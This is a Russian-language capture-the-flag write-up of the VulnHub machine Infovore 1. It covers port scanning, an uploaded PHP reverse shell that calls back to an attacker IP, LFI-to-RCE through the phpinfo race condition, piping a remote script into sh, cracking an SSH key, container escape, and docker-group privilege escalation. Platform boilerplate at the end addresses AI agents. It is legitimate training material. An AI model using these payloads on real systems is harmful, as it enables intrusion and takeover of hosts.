> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).

# Infovore: разбор VulnHub 1

{% embed url="<https://www.vulnhub.com/entry/infovore-1,496/>" %}

{% hint style="warning" %}
Навыки:

* Веб-перечисление
* LFI (локальное включение файлов)
* Злоупотребление file/\_uploads, видимым в info.php (LFI2RCE через phpinfo() + состязательное состояние)
* Перечисление системы (LinPEAS)
* Взлом защищённого приватного SSH-ключа
* Злоупотребление доверием к паре SSH-ключей для выхода из контейнера
* Злоупотребление группой docker (повышение привилегий)
  {% endhint %}

## Разведка

#### **Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/a3c47ab5445851d84ca549329d85ce3cb11a27f4" alt=""><figcaption></figcaption></figure>

#### **Обнаружение IP-адреса с помощью arp-scan:**

Использование команды arp-scan для определения IP-адреса машины:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/42c7667f04daa0a287a6f826a9264f3895e88d76" alt=""><figcaption></figcaption></figure>

#### **Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```

<figure><img src="/files/66a6c97fdb5da11015060a3ca909ac2ad6eb66da" alt=""><figcaption></figcaption></figure>

#### **Сканирование версий портов с помощью Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
 nmap -sCV -p80 192.168.71.146 -oN targeted
```

<figure><img src="/files/49c48989409c074a0171f5312abc5eb045ffee59" alt=""><figcaption></figcaption></figure>

#### Сканирование сервера с помощью Wappalyzer:

Используя Wappalyzer, определяем, что сервер использует Apache и язык программирования PHP.

<figure><img src="/files/473b518515dbeabda71c8fe4cc2cf9f640fd2aba" alt=""><figcaption></figcaption></figure>

#### **Определение целевой версии с помощью WhatWeb**

Используя WhatWeb для сканирования сайта и определения версии машины (Ubuntu) и Apache:

```bash
whatweb http://192.168.71.146
```

<figure><img src="/files/e3c02f2679630730ae2d94cfb3d807f020e54139" alt=""><figcaption></figcaption></figure>

## Разведка `info.php`

**Поиск директорий с помощью Gobuster:**

Используйте **Gobuster** с использованием словаря для поиска скрытых файлов доступа.

```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```

<figure><img src="/files/d56701bba7a4f6cd30abcefb73e6acb2f13d3008" alt=""><figcaption></figcaption></figure>

Файл с именем **info.php** был найден, который содержит всю PHP-конфигурацию сервера.

<figure><img src="/files/14bb21010a2451894e171c4739e18c95c4e7b4e7" alt=""><figcaption></figcaption></figure>

Можно заметить, что отключённых функций нет.

<figure><img src="/files/4938e7c27a5d349af49c665396e194951cf7b983" alt=""><figcaption></figcaption></figure>

## Уязвимость загрузки файлов:

После нахождения `info.php` файла исследуем возможность загрузки файлов на сервер.

<figure><img src="/files/ecbd927ce64376bf83ee881824d300cfaaad5f41" alt=""><figcaption></figcaption></figure>

**Перехват с помощью Burp Suite:**

Используйте Burp Suite, чтобы перехватить запрос. Измените метод с «GET» на «POST».<br>

<figure><img src="/files/866d4445c7e49446e3df56185d4c30e169f9c6ea" alt=""><figcaption></figcaption></figure>

#### Запрос на загрузку текстового файла на сервер:

Используйте приведённый ниже запрос Burp Suite, чтобы загрузить файл с именем `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain

Это тест
----pwned
```

<figure><img src="/files/df9293dd4ad2f85c774a42e804b42416b2171fce" alt=""><figcaption></figcaption></figure>

**Инъекция PHP-кода:**

Попробуйте внедрить PHP-код, используя ту же структуру Burp Suite. Измените содержимое файла, который нужно внедрить.

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```

#### Подтверждение инъекции:

Проверьте, была ли инъекция успешной, подтвердив наличие файла «cmd.php» на сервере.

<figure><img src="/files/ef89f6508782ba6842fe99820b1b2b5be6ad8900" alt=""><figcaption></figcaption></figure>

#### Поиск LFI

Чтобы найти уязвимость LFI, мы используем инструмент wfuz, чтобы определить возможный параметр, перенаправляющий на PHP-файл. Команда следующая:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```

<figure><img src="/files/4a381a005e220fa25788b7460252954fed49db1b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7d478a19fb274cafa1fb17d2fffa1ed131992006" alt=""><figcaption></figcaption></figure>

#### Трудность из-за постоянной смены файла:

К сожалению, мы не можем просмотреть содержимое файла cmd.php из-за постоянной смены временной папки:

<figure><img src="/files/25c4f2cb933c38ea920738b5568fe38baec8d5fd" alt=""><figcaption></figcaption></figure>

## Уязвимость состязательного состояния:

Используйте [автоматизированный скрипт](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) для эксплуатации состязательного состояния в процессе.

#### Адаптация скрипта

Мы адаптируем скрипт под нашу конкретную ситуацию.

<figure><img src="/files/a3deacc567d2ac03d0f1d91d7c73380550d3fd30" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c377b495d23026bd19308c56110941f9333acf54" alt=""><figcaption></figcaption></figure>

#### Успешный доступ к машине:

Нам удаётся получить доступ к машине, эксплуатируя состязательное состояние.

<figure><img src="/files/a3d567166d67da7ca6fca2aeb86d053d6763d859" alt=""><figcaption></figcaption></figure>

#### Стабилизация терминала для повышения привилегий:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Повышение привилегий:

Мы замечаем, что находимся в контейнере, и используем команду, чтобы найти адрес реального контейнера (192.168.150.1). Затем проверяем, открыт ли порт 22 на этой машине.

<figure><img src="/files/98f75e9c9f2b4bbcc6f04e762842af49100a6fc4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/39fb02abc6d25d7542e5ac2c3026463ead88545f" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/0bff4e2f7acd61bc8b52fcd6fc943c95ae817578" alt=""><figcaption></figcaption></figure>

### **Перечисление системы (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Мы используем LinPEAS для выявления привилегий:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/da03556bbbe744351316895f00b603e5cbcc9557" alt=""><figcaption></figcaption></figure>

#### Мы находим неожиданную папку tgz в корневом каталоге.

<figure><img src="/files/9c2c88239ea947e9498e2ebb1b25c85e4cd76721" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### /*/* Взлом защищённого приватного SSH-ключа:/*/*

#### Определение приватного SSH-ключа

Мы определяем пару открытого и закрытого SSH-ключей OpenSSH.

<figure><img src="/files/4002942e618d010c0ca8569dc276f529d62d828a" alt=""><figcaption></figcaption></figure>

#### Взлом приватного ключа:

* Мы замечаем, что приватный ключ зашифрован

<figure><img src="/files/b7829922b829b90d487cb73f73ab4a73c2bbbf24" alt=""><figcaption></figcaption></figure>

* Мы используем **ssh2john.py** чтобы преобразовать содержимое файла в хэш:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/df06093b9347dd8fe96dc9fabe8945cab98a6fb6" alt=""><figcaption></figcaption></figure>

* Затем мы используем John the Ripper, чтобы взломать хэш с помощью списка паролей.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/a108d9475e683c72647d45d9554c5508def0bc37" alt=""><figcaption></figcaption></figure>

#### Доступ от root:

Мы получаем доступ к машине от root.

<figure><img src="/files/144ea79ca9ea95770290997a42299c29fbfcb6de" alt=""><figcaption></figcaption></figure>

### **Злоупотребление доверием к паре SSH-ключей для выхода из контейнера:**

Мы пытаемся перейти на другую машину, используя конфигурацию known\_hosts в каталоге ssh контейнера, что позволяет нам подключиться к пользователю admin на хост-машине.

<figure><img src="/files/bad4da3b2534c6783ec43136fc312cae62a113ac" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4f3f970fd9c1958e3af7662cd67de027410d3f2a" alt=""><figcaption></figcaption></figure>

### **Злоупотребление группой Docker (повышение привилегий):**

#### [docker](/ru/privesc/user-groups/docker-group-linux-privilege-escalation.md) Принадлежность к группе:

Мы замечаем, что состоим в группе docker.

<figure><img src="/files/b345453257cfcf1908bfa48c021a2698dbce9067" alt=""><figcaption></figcaption></figure>

#### Использование группы docker для преодоления ограничений привилегий:

Мы используем наше членство в группе docker, чтобы смонтировать файловую систему реальной машины в административный контейнер:

```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```

<figure><img src="/files/def95e1ec24116512e0d4217ad72e97a446f7123" alt=""><figcaption></figcaption></figure>

ВЗЛОМАНО :)

<figure><img src="/files/83a11188c43cc61d69b9aa64b15d1b1eeb834f85" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
